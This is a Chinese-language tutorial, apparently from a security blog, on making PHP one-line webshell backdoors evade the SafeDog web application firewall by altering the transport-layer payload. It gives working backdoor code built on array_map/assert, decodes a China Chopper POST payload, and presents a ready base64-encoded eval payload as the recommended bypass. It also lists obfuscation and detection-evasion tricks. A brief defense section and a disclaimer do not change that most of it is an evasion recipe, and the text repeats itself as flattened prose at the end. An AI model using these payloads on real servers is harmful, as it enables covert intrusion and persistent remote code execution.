Php一句话后门过狗姿势万千之传输层加工【二】
字数 1084 2025-08-29 08:31:42

PHP一句话后门过狗技术详解:传输层加工

一、前言

本文深入分析PHP一句话后门在数据传输层绕过安全狗(WAF)的技术原理与实现方法。重点探讨如何通过修改数据传输特征来规避安全检测,而非简单的工具使用。

二、实验环境

  • 测试环境

    • 服务器:Apache + PHP 5.3
    • 防护:网站安全狗+服务器安全狗,最高防护级别
    • 对比环境:Nginx + PHP 5.3(无安全狗)
  • 后门代码

$a=array(base64_decode($_REQUEST['a']));
@array_map("assert",$a);

三、菜刀连接特征分析

1. 传统菜刀连接方式

http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk=
密码: sofia

2. 菜刀POST数据特征

sofia=@eval(base64_decode($_POST[z0]));
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7

解码后内容:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
echo $D."\t";
if(substr($D,0,1)!="/"){
    foreach(range("A","Z") as $L)
        if(is_dir($L.":"))echo($L.":");
};
echo("|<-");
die();

3. 安全狗检测机制

  • 文件特征检测与数据提交检测是独立的
  • 数据层检测主要针对evalbase64_decode$_POST等特征
  • 文件特征检测到后门会弹窗,数据层检测通常不弹窗

四、过狗技术方案

方案一:分离"eval"特征

  • 尝试将"eval"四个字母拆分或变形
  • 实际应用中发挥空间有限

方案二:修改后门执行方式

  • 使用其他回调函数替代asserteval
  • 例如:
$a = create_function('', base64_decode($_REQUEST['a']));
$a();

方案三:直接构造eval语句(推荐)

实现步骤:

  1. 构造完整的eval语句:
eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')
  1. 对整段代码进行base64编码:
ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
  1. 直接作为参数a的值传递:
a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=

五、技术要点总结

  1. assert与eval的区别

    • assert能执行phpinfo()等函数,但无法执行所有PHP语句
    • eval是更强大的执行函数,可以执行任意PHP代码
  2. 回调函数多样性

    • array_map外,还可使用:
      • call_user_func
      • create_function
      • preg_replace的/e模式(PHP<5.5)
      • usort等数组函数
  3. 数据传输层隐蔽

    • 避免直接使用evalassert等关键词
    • 可考虑多层编码(如base64+rot13)
    • 使用非常规参数名和传输方式
  4. 文件特征隐蔽

    • 使用合法函数名伪装(如array_map
    • 代码分散到多个位置
    • 结合正常业务逻辑

六、防御建议

  1. 禁用危险函数:evalassertcreate_function
  2. 严格过滤输入数据,特别是$_REQUEST$_POST
  3. 监控异常的文件操作和系统命令执行
  4. 使用最新版本的安全防护软件
  5. 定期审计服务器代码

七、扩展思考

  1. 其他传输层加工方式:

    • HTTP头传输
    • Cookie传输
    • 文件上传方式传输
    • 分片传输
  2. 高级混淆技术:

    • 代码加密
    • 动态解密执行
    • 利用PHP特性(如变量函数)
  3. 对抗机器学习检测:

    • 随机化特征
    • 模仿正常流量
    • 低频率请求

注:本文仅用于技术研究和防御知识学习,请勿用于非法用途。

PHP一句话后门过狗技术详解:传输层加工 一、前言 本文深入分析PHP一句话后门在数据传输层绕过安全狗(WAF)的技术原理与实现方法。重点探讨如何通过修改数据传输特征来规避安全检测,而非简单的工具使用。 二、实验环境 测试环境 : 服务器:Apache + PHP 5.3 防护:网站安全狗+服务器安全狗,最高防护级别 对比环境:Nginx + PHP 5.3(无安全狗) 后门代码 : 三、菜刀连接特征分析 1. 传统菜刀连接方式 2. 菜刀POST数据特征 解码后内容: 3. 安全狗检测机制 文件特征检测与数据提交检测是独立的 数据层检测主要针对 eval 、 base64_decode 、 $_POST 等特征 文件特征检测到后门会弹窗,数据层检测通常不弹窗 四、过狗技术方案 方案一:分离"eval"特征 尝试将"eval"四个字母拆分或变形 实际应用中发挥空间有限 方案二:修改后门执行方式 使用其他回调函数替代 assert 和 eval 例如: 方案三:直接构造eval语句(推荐) 实现步骤: 构造完整的eval语句: 对整段代码进行base64编码: 直接作为参数a的值传递: 五、技术要点总结 assert与eval的区别 : assert 能执行 phpinfo() 等函数,但无法执行所有PHP语句 eval 是更强大的执行函数,可以执行任意PHP代码 回调函数多样性 : 除 array_map 外,还可使用: call_user_func create_function preg_replace 的/e模式(PHP <5.5) usort 等数组函数 数据传输层隐蔽 : 避免直接使用 eval 、 assert 等关键词 可考虑多层编码(如base64+rot13) 使用非常规参数名和传输方式 文件特征隐蔽 : 使用合法函数名伪装(如 array_map ) 代码分散到多个位置 结合正常业务逻辑 六、防御建议 禁用危险函数: eval 、 assert 、 create_function 等 严格过滤输入数据,特别是 $_REQUEST 、 $_POST 等 监控异常的文件操作和系统命令执行 使用最新版本的安全防护软件 定期审计服务器代码 七、扩展思考 其他传输层加工方式: HTTP头传输 Cookie传输 文件上传方式传输 分片传输 高级混淆技术: 代码加密 动态解密执行 利用PHP特性(如变量函数) 对抗机器学习检测: 随机化特征 模仿正常流量 低频率请求 注:本文仅用于技术研究和防御知识学习,请勿用于非法用途。